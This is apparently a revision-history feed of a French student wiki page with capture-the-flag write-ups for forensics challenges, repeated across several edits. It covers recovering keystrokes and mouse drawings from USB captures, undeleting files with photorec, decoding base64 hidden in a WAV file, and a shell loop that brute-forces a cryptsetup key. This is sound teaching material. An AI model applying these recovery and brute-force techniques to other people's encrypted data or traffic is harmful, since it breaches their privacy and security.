On trouve sur internet de quel type de donnée il s'agit pour le bloc (qui se termine par <code>==</code> donc base64), que l'on peut convertir en image (https://base64.guru/converter/decode/image). L'image nous donne ensuite le flag (avec un peu de recherche sur l'image aussi).<br />
<br />
= Clef à la loupe =<br />
<br />
= Filsss fait un sssssomme =<br />
<br />
Voir le cours sur une technique pas technique pour abuser de certaines personnes.<br />
<br />
= Existe-t-il encore de vraies brutes ? =<br />
<br />
OK<br />
<br />
= Déjà vu =<br />
<br />
Avec le <code>GET DESCRIPTOR Response DEVICE</code> (taille 82), on trouve l'idVendor (Mad Catz) et avec le <code>GET DESCRIPTOR Response CONFIGURATION</code> (taille 98), on voit que le périphérique utilisé est une souris. On exporte tous les paquets ayant une <code>frame.len==71</code> car ce sont eux qui contiennent des HID DATA. Dans les HID DATA, on trouve les boutons appuyés par la souris ainsi que ses déplacements. Avec un script python sur ces données, on peut trouver le dessin du flag.<br />
<br />
import itertools<br />
import json<br />
import matplotlib.pyplot as plt<br />
<br />
def main():<br />
packets_export_file = open('test.json')<br />
packets = json.load(packets_export_file)<br />
<br />
x_offsets = [int(p["_source"]["layers"]["usbhid.data_tree"]["usbhid.data.axis.x"])<br />
for p in packets] <br />
<br />
y_offsets = [-int(p["_source"]["layers"]["usbhid.data_tree"]["usbhid.data.axis.y"])<br />
for p in packets]<br />
<br />
x_positions = list(itertools.accumulate(x_offsets))<br />
y_positions = list(itertools.accumulate(y_offsets))<br />
<br />
plt.plot(x_positions, y_positions)<br />
plt.title("Mouse position")<br />
plt.xlabel("X")<br />
plt.ylabel("Y")<br />
plt.show()<br />
<br />
main()</div>Lwadbledhttps://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&diff=58319Cyber 2021/2022 G32022-01-20T12:56:35Z<p>Lwadbled : /* Filsss fait un sssssomme */</p>
<hr />
<div>__TOC__<br />
<br style="clear: both;"/><br />
<br />
Equipe : Louis WADBLED, Clement GODET<br />
<br />
= Flocons =<br />
<br />
= Espion dans le bus =<br />
<br />
On télécharge le fichier et sur wireshark, application du filtre : <code>((usb.transfer_type == 0x01) && (frame.len==72)) && !(usb.capdata == 00:00:00:00:00:00:00:00)</code>. Grâce à ce filtre, on trouve tous les paquets contenant des "Leftover Capture Data", ce sont les touches du clavier qui ont été utilisées (et non pas les caractères ASCII). Il faut maintenant trouver les caractères selon les touches utilisées. Et on prend le 4ème caractère sur chaque ligne pour trouver le flag.<br />
<br />
= Travail de serrurerie =<br />
<br />
On désarchive le .zip puis on déchiffre le fichier à l'aide des commandes suivantes :<br />
$ modprobe nbd<br />
permet de créer un fichier /dev/nbd0<br />
<br />
$ qemu-nbd -c /dev/nbd0 data --format=raw<br />
génère les partitions /dev/nbd0p1 et /dev/nbd0p2<br />
<br />
On monte ensuite les partitions :<br />
$ mkdir /mnt/data1 /mnt/data2<br />
$ mount /dev/nbd0p1 /mnt/data1<br />
$ mount /dev/nbd0p2 /mnt/data2<br />
<br />
En inspectant les dossiers fraichement montés, on trouve une archive qui nous demande un mot de passe.<br />
Le mot de passe se trouve dans un fichier qui n'apparait pas, même en faisant 'ls -la'<br />
Le fichier a probablement été masqué grâce à la commande 'rm'<br />
On utilise l'utilitaire photorec pour retrouver le fichier supprimé :<br />
$ photorec /dev/nbd0<br />
En spécifiant /dev/nbd0, on permet à l'utilitaire de retrouver uniquement les fichiers appartenant à ce disque, ce qui est quand même plus rapide que de scanner toute la zabeth.<br />
On trouve alors le MDP pour ouvrir l'archive<br />
<br />
= Spécialiste des écoutes =<br />
<br />
A une certaine vitesse d'écoute, on peut entendre une autre mélodie. En cherchant un peu la mélodie sur internet, on peut trouver la personne que l'on entend.<br />
<br />
= Perçage de coffre =<br />
<br />
On désarchive l'archive. Il s'agit d'un fichier que l'on peut décrypter avec crytsetup en mode "plain" en spécifiant un mot de passe.<br />
On teste ensuite la valeur de retour de "mount". Si il y a une erreur, la clé utilisée par cryptsetup est érronée. On efface alors le fichier créé avec cryptsetup close.<br />
<br />
On utilise le script suivant pour forcer le coffre : <br />
#!/bin/sh<br />
i=0<br />
while [ $i -lt 10000 ]<br />
do<br />
echo $i | cryptsetup plainOpen chiffre chiffre<br />
if [ $? -ne 0 ];<br />
then <br />
echo "Erreur lors du crytpsetup"<br />
exit<br />
fi <br />
<br />
mount /dev/mapper/chiffre /mnt/chiffre<br />
if [ $? -eq 0 ]; then <br />
echo "Succes: $i"<br />
exit<br />
else<br />
cryptsetup close chiffre chiffre<br />
fi <br />
<br />
i=$(( i+1 ))<br />
done<br />
<br />
Une fois le code trouvé, on a un dossier monté.<br />
A partir des infos fournies dans le dossier, on reconstitue l'IBAN au complet<br />
<br />
= Déchiffrer le manuscrit =<br />
<br />
OK<br />
<br />
= Dessiner avec des sons =<br />
<br />
= Encore une image en musique =<br />
<br />
On affiche le fichier .wav dans le terminal, on trouve un bloc un peu bizarre très bien arrangé pour un fichier de ce type. On trouve sur internet de quel type de donnée il s'agit pour le bloc, que l'on peut convertir en image. L'image nous donne ensuite le flag (avec un peu de recherche sur l'image aussi).<br />
<br />
= Clef à la loupe =<br />
<br />
= Filsss fait un sssssomme =<br />
<br />
Voir le cours sur une technique pas technique pour abuser de certaines personnes.<br />
<br />
= Existe-t-il encore de vraies brutes ? =<br />
<br />
OK<br />
<br />
= Déjà vu =<br />
<br />
Avec le <code>GET DESCRIPTOR Response DEVICE</code> (taille 82), on trouve l'idVendor (Mad Catz) et avec le <code>GET DESCRIPTOR Response CONFIGURATION</code> (taille 98), on voit que le périphérique utilisé est une souris. On exporte tous les paquets ayant une <code>frame.len==71</code> car ce sont eux qui contiennent des HID DATA. Dans les HID DATA, on trouve les boutons appuyés par la souris ainsi que ses déplacements. Avec un script python sur ces données, on peut trouver le dessin du flag.<br />
<br />
import itertools<br />
import json<br />
import matplotlib.pyplot as plt<br />
<br />
def main():<br />
packets_export_file = open('test.json')<br />
packets = json.load(packets_export_file)<br />
<br />
x_offsets = [int(p["_source"]["layers"]["usbhid.data_tree"]["usbhid.data.axis.x"])<br />
for p in packets] <br />
<br />
y_offsets = [-int(p["_source"]["layers"]["usbhid.data_tree"]["usbhid.data.axis.y"])<br />
for p in packets]<br />
<br />
x_positions = list(itertools.accumulate(x_offsets))<br />
y_positions = list(itertools.accumulate(y_offsets))<br />
<br />
plt.plot(x_positions, y_positions)<br />
plt.title("Mouse position")<br />
plt.xlabel("X")<br />
plt.ylabel("Y")<br />
plt.show()<br />
<br />
main()</div>Lwadbledhttps://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&diff=58317Cyber 2021/2022 G32022-01-20T12:55:51Z<p>Lwadbled : /* Déjà vu */</p>
<hr />
<div>__TOC__<br />
<br style="clear: both;"/><br />
<br />
Equipe : Louis WADBLED, Clement GODET<br />
<br />
= Flocons =<br />
<br />
= Espion dans le bus =<br />
<br />
On télécharge le fichier et sur wireshark, application du filtre : <code>((usb.transfer_type == 0x01) && (frame.len==72)) && !(usb.capdata == 00:00:00:00:00:00:00:00)</code>. Grâce à ce filtre, on trouve tous les paquets contenant des "Leftover Capture Data", ce sont les touches du clavier qui ont été utilisées (et non pas les caractères ASCII). Il faut maintenant trouver les caractères selon les touches utilisées. Et on prend le 4ème caractère sur chaque ligne pour trouver le flag.<br />
<br />
= Travail de serrurerie =<br />
<br />
On désarchive le .zip puis on déchiffre le fichier à l'aide des commandes suivantes :<br />
$ modprobe nbd<br />
permet de créer un fichier /dev/nbd0<br />
<br />
$ qemu-nbd -c /dev/nbd0 data --format=raw<br />
génère les partitions /dev/nbd0p1 et /dev/nbd0p2<br />
<br />
On monte ensuite les partitions :<br />
$ mkdir /mnt/data1 /mnt/data2<br />
$ mount /dev/nbd0p1 /mnt/data1<br />
$ mount /dev/nbd0p2 /mnt/data2<br />
<br />
En inspectant les dossiers fraichement montés, on trouve une archive qui nous demande un mot de passe.<br />
Le mot de passe se trouve dans un fichier qui n'apparait pas, même en faisant 'ls -la'<br />
Le fichier a probablement été masqué grâce à la commande 'rm'<br />
On utilise l'utilitaire photorec pour retrouver le fichier supprimé :<br />
$ photorec /dev/nbd0<br />
En spécifiant /dev/nbd0, on permet à l'utilitaire de retrouver uniquement les fichiers appartenant à ce disque, ce qui est quand même plus rapide que de scanner toute la zabeth.<br />
On trouve alors le MDP pour ouvrir l'archive<br />
<br />
= Spécialiste des écoutes =<br />
<br />
A une certaine vitesse d'écoute, on peut entendre une autre mélodie. En cherchant un peu la mélodie sur internet, on peut trouver la personne que l'on entend.<br />
<br />
= Perçage de coffre =<br />
<br />
On désarchive l'archive. Il s'agit d'un fichier que l'on peut décrypter avec crytsetup en mode "plain" en spécifiant un mot de passe.<br />
On teste ensuite la valeur de retour de "mount". Si il y a une erreur, la clé utilisée par cryptsetup est érronée. On efface alors le fichier créé avec cryptsetup close.<br />
<br />
On utilise le script suivant pour forcer le coffre : <br />
#!/bin/sh<br />
i=0<br />
while [ $i -lt 10000 ]<br />
do<br />
echo $i | cryptsetup plainOpen chiffre chiffre<br />
if [ $? -ne 0 ];<br />
then <br />
echo "Erreur lors du crytpsetup"<br />
exit<br />
fi <br />
<br />
mount /dev/mapper/chiffre /mnt/chiffre<br />
if [ $? -eq 0 ]; then <br />
echo "Succes: $i"<br />
exit<br />
else<br />
cryptsetup close chiffre chiffre<br />
fi <br />
<br />
i=$(( i+1 ))<br />
done<br />
<br />
Une fois le code trouvé, on a un dossier monté.<br />
A partir des infos fournies dans le dossier, on reconstitue l'IBAN au complet<br />
<br />
= Déchiffrer le manuscrit =<br />
<br />
OK<br />
<br />
= Dessiner avec des sons =<br />
<br />
= Encore une image en musique =<br />
<br />
On affiche le fichier .wav dans le terminal, on trouve un bloc un peu bizarre très bien arrangé pour un fichier de ce type. On trouve sur internet de quel type de donnée il s'agit pour le bloc, que l'on peut convertir en image. L'image nous donne ensuite le flag (avec un peu de recherche sur l'image aussi).<br />
<br />
= Clef à la loupe =<br />
<br />
= Filsss fait un sssssomme =<br />
<br />
Voir le cours.<br />
<br />
= Existe-t-il encore de vraies brutes ? =<br />
<br />
OK<br />
<br />
= Déjà vu =<br />
<br />
Avec le <code>GET DESCRIPTOR Response DEVICE</code> (taille 82), on trouve l'idVendor (Mad Catz) et avec le <code>GET DESCRIPTOR Response CONFIGURATION</code> (taille 98), on voit que le périphérique utilisé est une souris. On exporte tous les paquets ayant une <code>frame.len==71</code> car ce sont eux qui contiennent des HID DATA. Dans les HID DATA, on trouve les boutons appuyés par la souris ainsi que ses déplacements. Avec un script python sur ces données, on peut trouver le dessin du flag.<br />
<br />
import itertools<br />
import json<br />
import matplotlib.pyplot as plt<br />
<br />
def main():<br />
packets_export_file = open('test.json')<br />
packets = json.load(packets_export_file)<br />
<br />
x_offsets = [int(p["_source"]["layers"]["usbhid.data_tree"]["usbhid.data.axis.x"])<br />
for p in packets] <br />
<br />
y_offsets = [-int(p["_source"]["layers"]["usbhid.data_tree"]["usbhid.data.axis.y"])<br />
for p in packets]<br />
<br />
x_positions = list(itertools.accumulate(x_offsets))<br />
y_positions = list(itertools.accumulate(y_offsets))<br />
<br />
plt.plot(x_positions, y_positions)<br />
plt.title("Mouse position")<br />
plt.xlabel("X")<br />
plt.ylabel("Y")<br />
plt.show()<br />
<br />
main()</div>Lwadbledhttps://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&diff=58316Cyber 2021/2022 G32022-01-20T12:55:45Z<p>Lwadbled : /* Déjà vu */</p>
<hr />
<div>__TOC__<br />
<br style="clear: both;"/><br />
<br />
Equipe : Louis WADBLED, Clement GODET<br />
<br />
= Flocons =<br />
<br />
= Espion dans le bus =<br />
<br />
On télécharge le fichier et sur wireshark, application du filtre : <code>((usb.transfer_type == 0x01) && (frame.len==72)) && !(usb.capdata == 00:00:00:00:00:00:00:00)</code>. Grâce à ce filtre, on trouve tous les paquets contenant des "Leftover Capture Data", ce sont les touches du clavier qui ont été utilisées (et non pas les caractères ASCII). Il faut maintenant trouver les caractères selon les touches utilisées. Et on prend le 4ème caractère sur chaque ligne pour trouver le flag.<br />
<br />
= Travail de serrurerie =<br />
<br />
On désarchive le .zip puis on déchiffre le fichier à l'aide des commandes suivantes :<br />
$ modprobe nbd<br />
permet de créer un fichier /dev/nbd0<br />
<br />
$ qemu-nbd -c /dev/nbd0 data --format=raw<br />
génère les partitions /dev/nbd0p1 et /dev/nbd0p2<br />
<br />
On monte ensuite les partitions :<br />
$ mkdir /mnt/data1 /mnt/data2<br />
$ mount /dev/nbd0p1 /mnt/data1<br />
$ mount /dev/nbd0p2 /mnt/data2<br />
<br />
En inspectant les dossiers fraichement montés, on trouve une archive qui nous demande un mot de passe.<br />
Le mot de passe se trouve dans un fichier qui n'apparait pas, même en faisant 'ls -la'<br />
Le fichier a probablement été masqué grâce à la commande 'rm'<br />
On utilise l'utilitaire photorec pour retrouver le fichier supprimé :<br />
$ photorec /dev/nbd0<br />
En spécifiant /dev/nbd0, on permet à l'utilitaire de retrouver uniquement les fichiers appartenant à ce disque, ce qui est quand même plus rapide que de scanner toute la zabeth.<br />
On trouve alors le MDP pour ouvrir l'archive<br />
<br />
= Spécialiste des écoutes =<br />
<br />
A une certaine vitesse d'écoute, on peut entendre une autre mélodie. En cherchant un peu la mélodie sur internet, on peut trouver la personne que l'on entend.<br />
<br />
= Perçage de coffre =<br />
<br />
On désarchive l'archive. Il s'agit d'un fichier que l'on peut décrypter avec crytsetup en mode "plain" en spécifiant un mot de passe.<br />
On teste ensuite la valeur de retour de "mount". Si il y a une erreur, la clé utilisée par cryptsetup est érronée. On efface alors le fichier créé avec cryptsetup close.<br />
<br />
On utilise le script suivant pour forcer le coffre : <br />
#!/bin/sh<br />
i=0<br />
while [ $i -lt 10000 ]<br />
do<br />
echo $i | cryptsetup plainOpen chiffre chiffre<br />
if [ $? -ne 0 ];<br />
then <br />
echo "Erreur lors du crytpsetup"<br />
exit<br />
fi <br />
<br />
mount /dev/mapper/chiffre /mnt/chiffre<br />
if [ $? -eq 0 ]; then <br />
echo "Succes: $i"<br />
exit<br />
else<br />
cryptsetup close chiffre chiffre<br />
fi <br />
<br />
i=$(( i+1 ))<br />
done<br />
<br />
Une fois le code trouvé, on a un dossier monté.<br />
A partir des infos fournies dans le dossier, on reconstitue l'IBAN au complet<br />
<br />
= Déchiffrer le manuscrit =<br />
<br />
OK<br />
<br />
= Dessiner avec des sons =<br />
<br />
= Encore une image en musique =<br />
<br />
On affiche le fichier .wav dans le terminal, on trouve un bloc un peu bizarre très bien arrangé pour un fichier de ce type. On trouve sur internet de quel type de donnée il s'agit pour le bloc, que l'on peut convertir en image. L'image nous donne ensuite le flag (avec un peu de recherche sur l'image aussi).<br />
<br />
= Clef à la loupe =<br />
<br />
= Filsss fait un sssssomme =<br />
<br />
Voir le cours.<br />
<br />
= Existe-t-il encore de vraies brutes ? =<br />
<br />
OK<br />
<br />
= Déjà vu =<br />
<br />
Avec le <code>GET DESCRIPTOR Response DEVICE</code> (taille 82), on trouve l'idVendor (Mad Catz) et avec le <code>GET DESCRIPTOR Response CONFIGURATION</code> (taille 98), on voit que le périphérique utilisé est une souris. On exporte tous les paquets ayant une <code>frame.len==71</code> car ce sont eux qui contiennent des HID DATA. Dans les HID DATA, on trouve les boutons appuyés par la souris ainsi que ses déplacements. Avec un script python sur ces données, on peut trouver le dessin du flag.<br />
<br />
import itertools<br />
import json<br />
import matplotlib.pyplot as plt<br />
<br />
def main():<br />
packets_export_file = open('test.json')<br />
packets = json.load(packets_export_file)<br />
<br />
x_offsets = [int(p["_source"]["layers"]["usbhid.data_tree"]["usbhid.data.axis.x"])<br />
for p in packets] <br />
<br />
y_offsets = [-int(p["_source"]["layers"]["usbhid.data_tree"]["usbhid.data.axis.y"])<br />
for p in packets]<br />
<br />
x_positions = list(itertools.accumulate(x_offsets))<br />
y_positions = list(itertools.accumulate(y_offsets))<br />
<br />
plt.plot(x_positions, y_positions)<br />
plt.title("Mouse position")<br />
plt.xlabel("X")<br />
plt.ylabel("Y")<br />
plt.show()<br />
<br />
main()</div>Lwadbledhttps://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&diff=58314Cyber 2021/2022 G32022-01-20T12:55:29Z<p>Lwadbled : /* Déjà vu */</p>
<hr />
<div>__TOC__<br />
<br style="clear: both;"/><br />
<br />
Equipe : Louis WADBLED, Clement GODET<br />
<br />
= Flocons =<br />
<br />
= Espion dans le bus =<br />
<br />
On télécharge le fichier et sur wireshark, application du filtre : <code>((usb.transfer_type == 0x01) && (frame.len==72)) && !(usb.capdata == 00:00:00:00:00:00:00:00)</code>. Grâce à ce filtre, on trouve tous les paquets contenant des "Leftover Capture Data", ce sont les touches du clavier qui ont été utilisées (et non pas les caractères ASCII). Il faut maintenant trouver les caractères selon les touches utilisées. Et on prend le 4ème caractère sur chaque ligne pour trouver le flag.<br />
<br />
= Travail de serrurerie =<br />
<br />
On désarchive le .zip puis on déchiffre le fichier à l'aide des commandes suivantes :<br />
$ modprobe nbd<br />
permet de créer un fichier /dev/nbd0<br />
<br />
$ qemu-nbd -c /dev/nbd0 data --format=raw<br />
génère les partitions /dev/nbd0p1 et /dev/nbd0p2<br />
<br />
On monte ensuite les partitions :<br />
$ mkdir /mnt/data1 /mnt/data2<br />
$ mount /dev/nbd0p1 /mnt/data1<br />
$ mount /dev/nbd0p2 /mnt/data2<br />
<br />
En inspectant les dossiers fraichement montés, on trouve une archive qui nous demande un mot de passe.<br />
Le mot de passe se trouve dans un fichier qui n'apparait pas, même en faisant 'ls -la'<br />
Le fichier a probablement été masqué grâce à la commande 'rm'<br />
On utilise l'utilitaire photorec pour retrouver le fichier supprimé :<br />
$ photorec /dev/nbd0<br />
En spécifiant /dev/nbd0, on permet à l'utilitaire de retrouver uniquement les fichiers appartenant à ce disque, ce qui est quand même plus rapide que de scanner toute la zabeth.<br />
On trouve alors le MDP pour ouvrir l'archive<br />
<br />
= Spécialiste des écoutes =<br />
<br />
A une certaine vitesse d'écoute, on peut entendre une autre mélodie. En cherchant un peu la mélodie sur internet, on peut trouver la personne que l'on entend.<br />
<br />
= Perçage de coffre =<br />
<br />
On désarchive l'archive. Il s'agit d'un fichier que l'on peut décrypter avec crytsetup en mode "plain" en spécifiant un mot de passe.<br />
On teste ensuite la valeur de retour de "mount". Si il y a une erreur, la clé utilisée par cryptsetup est érronée. On efface alors le fichier créé avec cryptsetup close.<br />
<br />
On utilise le script suivant pour forcer le coffre : <br />
#!/bin/sh<br />
i=0<br />
while [ $i -lt 10000 ]<br />
do<br />
echo $i | cryptsetup plainOpen chiffre chiffre<br />
if [ $? -ne 0 ];<br />
then <br />
echo "Erreur lors du crytpsetup"<br />
exit<br />
fi <br />
<br />
mount /dev/mapper/chiffre /mnt/chiffre<br />
if [ $? -eq 0 ]; then <br />
echo "Succes: $i"<br />
exit<br />
else<br />
cryptsetup close chiffre chiffre<br />
fi <br />
<br />
i=$(( i+1 ))<br />
done<br />
<br />
Une fois le code trouvé, on a un dossier monté.<br />
A partir des infos fournies dans le dossier, on reconstitue l'IBAN au complet<br />
<br />
= Déchiffrer le manuscrit =<br />
<br />
OK<br />
<br />
= Dessiner avec des sons =<br />
<br />
= Encore une image en musique =<br />
<br />
On affiche le fichier .wav dans le terminal, on trouve un bloc un peu bizarre très bien arrangé pour un fichier de ce type. On trouve sur internet de quel type de donnée il s'agit pour le bloc, que l'on peut convertir en image. L'image nous donne ensuite le flag (avec un peu de recherche sur l'image aussi).<br />
<br />
= Clef à la loupe =<br />
<br />
= Filsss fait un sssssomme =<br />
<br />
Voir le cours.<br />
<br />
= Existe-t-il encore de vraies brutes ? =<br />
<br />
OK<br />
<br />
= Déjà vu =<br />
<br />
Avec le <code>GET DESCRIPTOR Response DEVICE</code> (taille 82), on trouve l'idVendor (Mad Catz) et avec le <code>GET DESCRIPTOR Response CONFIGURATION</code> (taille 98), on voit que le périphérique utilisé est une souris. On exporte tous les paquets ayant une <code>frame.len==71</code> car ce sont eux qui contiennent des HID DATA. Dans les HID DATA, on trouve les boutons appuyés par la souris ainsi que ses déplacements. Avec un script python sur ces données, on peut trouver le dessin du flag.<br />
<br />
import itertools<br />
import json<br />
import matplotlib.pyplot as plt<br />
<br />
def main():<br />
packets_export_file = open('test.json')<br />
packets = json.load(packets_export_file)<br />
<br />
x_offsets = [int(p["_source"]["layers"]["usbhid.data_tree"]["usbhid.data.axis.x"])<br />
for p in packets] <br />
<br />
y_offsets = [-int(p["_source"]["layers"]["usbhid.data_tree"]["usbhid.data.axis.y"])<br />
for p in packets]<br />
<br />
x_positions = list(itertools.accumulate(x_offsets))<br />
y_positions = list(itertools.accumulate(y_offsets))<br />
<br />
plt.plot(x_positions, y_positions)<br />
plt.title("Mouse position")<br />
plt.xlabel("X")<br />
plt.ylabel("Y")<br />
plt.show()<br />
<br />
main()</div>Lwadbledhttps://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&diff=58269Cyber 2021/2022 G32022-01-20T11:23:40Z<p>Lwadbled : /* Filsss fait un sssssomme */</p>
<hr />
<div>__TOC__<br />
<br style="clear: both;"/><br />
<br />
= Flocons =<br />
<br />
= Espion dans le bus =<br />
<br />
On télécharge le fichier et sur wireshark, application du filtre : <code>((usb.transfer_type == 0x01) && (frame.len==72)) && !(usb.capdata == 00:00:00:00:00:00:00:00)</code>. Grâce à ce filtre, on trouve tous les paquets contenant des "Leftover Capture Data", ce sont les touches du clavier qui ont été utilisées (et non pas les caractères ASCII). Il faut maintenant trouver les caractères selon les touches utilisées. Et on prend le 4ème caractère sur chaque ligne pour trouver le flag.<br />
<br />
= Travail de serrurerie =<br />
<br />
On désarchive le .zip puis on déchiffre le fichier à l'aide des commandes suivantes :<br />
$ modprobe nbd<br />
permet de créer un fichier /dev/nbd0<br />
<br />
$ qemu-nbd -c /dev/nbd0 data --format=raw<br />
génère les partitions /dev/nbd0p1 et /dev/nbd0p2<br />
<br />
On monte ensuite les partitions :<br />
$ mkdir /mnt/data1 /mnt/data2<br />
$ mount /dev/nbd0p1 /mnt/data1<br />
$ mount /dev/nbd0p2 /mnt/data2<br />
<br />
En inspectant les dossiers fraichement montés, on trouve une archive qui nous demande un mot de passe.<br />
Le mot de passe se trouve dans un fichier qui n'apparait pas, même en faisant 'ls -la'<br />
Le fichier a probablement été masqué grâce à la commande 'rm'<br />
On utilise l'utilitaire photorec pour retrouver le fichier supprimé :<br />
$ photorec /dev/nbd0<br />
En spécifiant /dev/nbd0, on permet à l'utilitaire de retrouver uniquement les fichiers appartenant à ce disque, ce qui est quand même plus rapide que de scanner toute la zabeth.<br />
On trouve alors le MDP pour ouvrir l'archive<br />
<br />
= Spécialiste des écoutes =<br />
<br />
A une certaine vitesse d'écoute, on peut entendre une autre mélodie. En cherchant un peu la mélodie sur internet, on peut trouver la personne que l'on entend.<br />
<br />
= Perçage de coffre =<br />
<br />
OK<br />
<br />
= Déchiffrer le manuscrit =<br />
<br />
OK<br />
<br />
= Dessiner avec des sons =<br />
<br />
= Encore une image en musique =<br />
<br />
On affiche le fichier .wav dans le terminal, on trouve un bloc un peu bizarre très bien arrangé pour un fichier de ce type. On trouve sur internet de quel type de donnée il s'agit pour le bloc, que l'on peut convertir en image. L'image nous donne ensuite le flag (avec un peu de recherche sur l'image aussi).<br />
<br />
= Clef à la loupe =<br />
<br />
= Filsss fait un sssssomme =<br />
<br />
Voir le cours.<br />
<br />
= Existe-t-il encore de vraies brutes ? =<br />
<br />
OK<br />
<br />
= Déjà vu =<br />
<br />
Avec le <code>GET DESCRIPTOR Response DEVICE</code> (taille 82), on trouve l'idVendor (Mad Catz) et avec le <code>GET DESCRIPTOR Response CONFIGURATION</code> (taille 98), on voit que le périphérique utilisé est une souris. On exporte tous les paquets ayant une <code>frame.len==71</code> car ce sont eux qui contiennent des HID DATA. Dans les HID DATA, on trouve les boutons appuyés par la souris ainsi que ses déplacements. Avec un script python sur ces données, on peut trouver le dessin du flag.</div>Lwadbledhttps://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&diff=58245Cyber 2021/2022 G32022-01-20T09:30:08Z<p>Lwadbled : /* Encore une image en musique */</p>
<hr />
<div>__TOC__<br />
<br style="clear: both;"/><br />
<br />
= Flocons =<br />
<br />
= Espion dans le bus =<br />
<br />
On télécharge le fichier et sur wireshark, application du filtre : <code>((usb.transfer_type == 0x01) && (frame.len==72)) && !(usb.capdata == 00:00:00:00:00:00:00:00)</code>. Grâce à ce filtre, on trouve tous les paquets contenant des "Leftover Capture Data", ce sont les touches du clavier qui ont été utilisées (et non pas les caractères ASCII). Il faut maintenant trouver les caractères selon les touches utilisées. Et on prend le 4ème caractère sur chaque ligne pour trouver le flag.<br />
<br />
= Travail de serrurerie =<br />
<br />
On désarchive le .zip puis on déchiffre le fichier à l'aide des commandes suivantes :<br />
$ modprobe nbd<br />
permet de créer un fichier /dev/nbd0<br />
<br />
$ qemu-nbd -c /dev/nbd0 data --format=raw<br />
génère les partitions /dev/nbd0p1 et /dev/nbd0p2<br />
<br />
On monte ensuite les partitions :<br />
$ mkdir /mnt/data1 /mnt/data2<br />
$ mount /dev/nbd0p1 /mnt/data1<br />
$ mount /dev/nbd0p2 /mnt/data2<br />
<br />
En inspectant les dossiers fraichement montés, on trouve une archive qui nous demande un mot de passe.<br />
Le mot de passe se trouve dans un fichier qui n'apparait pas, même en faisant 'ls -la'<br />
Le fichier a probablement été masqué grâce à la commande 'rm'<br />
On utilise l'utilitaire photorec pour retrouver le fichier supprimé :<br />
$ photorec /dev/nbd0<br />
En spécifiant /dev/nbd0, on permet à l'utilitaire de retrouver uniquement les fichiers appartenant à ce disque, ce qui est quand même plus rapide que de scanner toute la zabeth.<br />
On trouve alors le MDP pour ouvrir l'archive<br />
<br />
= Spécialiste des écoutes =<br />
<br />
A une certaine vitesse d'écoute, on peut entendre une autre mélodie. En cherchant un peu la mélodie sur internet, on peut trouver la personne que l'on entend.<br />
<br />
= Perçage de coffre =<br />
<br />
OK<br />
<br />
= Déchiffrer le manuscrit =<br />
<br />
OK<br />
<br />
= Dessiner avec des sons =<br />
<br />
= Encore une image en musique =<br />
<br />
On affiche le fichier .wav dans le terminal, on trouve un bloc un peu bizarre très bien arrangé pour un fichier de ce type. On trouve sur internet de quel type de donnée il s'agit pour le bloc, que l'on peut convertir en image. L'image nous donne ensuite le flag (avec un peu de recherche sur l'image aussi).<br />
<br />
= Clef à la loupe =<br />
<br />
= Filsss fait un sssssomme =<br />
<br />
= Existe-t-il encore de vraies brutes ? =<br />
<br />
OK<br />
<br />
= Déjà vu =<br />
<br />
Avec le <code>GET DESCRIPTOR Response DEVICE</code> (taille 82), on trouve l'idVendor (Mad Catz) et avec le <code>GET DESCRIPTOR Response CONFIGURATION</code> (taille 98), on voit que le périphérique utilisé est une souris. On exporte tous les paquets ayant une <code>frame.len==71</code> car ce sont eux qui contiennent des HID DATA. Dans les HID DATA, on trouve les boutons appuyés par la souris ainsi que ses déplacements. Avec un script python sur ces données, on peut trouver le dessin du flag.</div>Lwadbledhttps://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&diff=58241Cyber 2021/2022 G32022-01-20T09:10:00Z<p>Lwadbled : /* Déchiffrer le manuscrit */</p>
<hr />
<div>__TOC__<br />
<br style="clear: both;"/><br />
<br />
= Flocons =<br />
<br />
= Espion dans le bus =<br />
<br />
On télécharge le fichier et sur wireshark, application du filtre : <code>((usb.transfer_type == 0x01) && (frame.len==72)) && !(usb.capdata == 00:00:00:00:00:00:00:00)</code>. Grâce à ce filtre, on trouve tous les paquets contenant des "Leftover Capture Data", ce sont les touches du clavier qui ont été utilisées (et non pas les caractères ASCII). Il faut maintenant trouver les caractères selon les touches utilisées. Et on prend le 4ème caractère sur chaque ligne pour trouver le flag.<br />
<br />
= Travail de serrurerie =<br />
<br />
On désarchive le .zip puis on déchiffre le fichier à l'aide des commandes suivantes :<br />
$ modprobe nbd<br />
permet de créer un fichier /dev/nbd0<br />
<br />
$ qemu-nbd -c /dev/nbd0 data --format=raw<br />
génère les partitions /dev/nbd0p1 et /dev/nbd0p2<br />
<br />
On monte ensuite les partitions :<br />
$ mkdir /mnt/data1 /mnt/data2<br />
$ mount /dev/nbd0p1 /mnt/data1<br />
$ mount /dev/nbd0p2 /mnt/data2<br />
<br />
En inspectant les dossiers fraichement montés, on trouve une archive qui nous demande un mot de passe.<br />
Le mot de passe se trouve dans un fichier qui n'apparait pas, même en faisant 'ls -la'<br />
Le fichier a probablement été masqué grâce à la commande 'rm'<br />
On utilise l'utilitaire photorec pour retrouver le fichier supprimé :<br />
$ photorec /dev/nbd0<br />
En spécifiant /dev/nbd0, on permet à l'utilitaire de retrouver uniquement les fichiers appartenant à ce disque, ce qui est quand même plus rapide que de scanner toute la zabeth.<br />
On trouve alors le MDP pour ouvrir l'archive<br />
<br />
= Spécialiste des écoutes =<br />
<br />
A une certaine vitesse d'écoute, on peut entendre une autre mélodie. En cherchant un peu la mélodie sur internet, on peut trouver la personne que l'on entend.<br />
<br />
= Perçage de coffre =<br />
<br />
OK<br />
<br />
= Déchiffrer le manuscrit =<br />
<br />
OK<br />
<br />
= Dessiner avec des sons =<br />
<br />
= Encore une image en musique =<br />
<br />
= Clef à la loupe =<br />
<br />
= Filsss fait un sssssomme =<br />
<br />
= Existe-t-il encore de vraies brutes ? =<br />
<br />
OK<br />
<br />
= Déjà vu =<br />
<br />
